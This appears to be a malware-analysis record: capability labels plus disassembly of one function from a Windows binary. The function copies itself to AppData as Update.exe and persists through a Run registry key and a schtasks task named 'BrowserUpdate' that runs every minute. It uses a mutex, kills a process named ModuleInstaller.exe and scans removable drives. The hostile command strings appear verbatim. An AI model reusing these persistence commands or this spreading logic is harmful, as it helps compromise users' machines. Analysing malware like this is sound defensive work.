Function at 0x401480
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Enumerate processes
Get disk information
Persist via run registry key
Schedule task via schtasks
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1214
call fcn.004139a0
mov eax, dword [0x41d004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push 0x41b23e
push 2
call fcn.00404f48
add esp, 8
lea eax, [ebp - 0x214]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea eax, [ebp - 0x214]
push 0x5c
push eax
call fcn.004022be
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x41c]
push eax
push 0x41b0c4
lea eax, [ebp - 0x214]
push eax
push 0x41b0c8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [ebp - 0x214]
push 0x2e
push eax
call fcn.004022be
add esp, 0x24
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
je 0x40154d
push 0xa
push 0
lea eax, [ebp - 0x214]
push eax
push str.explorer.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x1214]
push str.cmd__c_echo_fxcopy__y___s_____AppData__Update.exe___nul__reg_add_HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun__v_Run__d____APPDATA__Update.exe___t_REG_SZ__f
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.DLL_WinExec]
lea eax, [ebp - 0x1214]
add esp, 0xc
push 0
push eax
call esi
push 0
push str.schtasks__create__F__sc_minute__mo_1__tn__BrowserUpdate___tr___AppData_Update.exe_
call esi
push str.MS02434__
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexW]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
je 0x40168f
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, str.taskmgr.exe
call fcn.004010e0
test eax, eax
je 0x401688
push 0
push 2
mov dword [ebp - 0x440], 0x22c
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov edi, eax
test edi, edi
je 0x401648
lea eax, [ebp - 0x440]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
nop
push str.ModuleInstaller.exe
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
jne 0x401633
push dword [ebp - 0x438]
push eax
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
call ebx
lea eax, [ebp - 0x440]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x401600
push edi
call ebx
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
mov esi, 0x41
lea eax, [ebp - 0xc]
mov word [ebp - 0xc], si
push eax
mov dword [ebp - 0xa], 0x3a
call edi
cmp eax, 2
jne 0x401671
lea ecx, [ebp - 0xc]
call fcn.00401240
inc esi
cmp si, 0x5a
jbe 0x401653
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x4015be
call fcn.004011a0
jmp 0x40164e
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
pop edi
xor ecx, ebp
pop ebx
call fcn.004016a2
mov esp, ebp
pop ebp
ret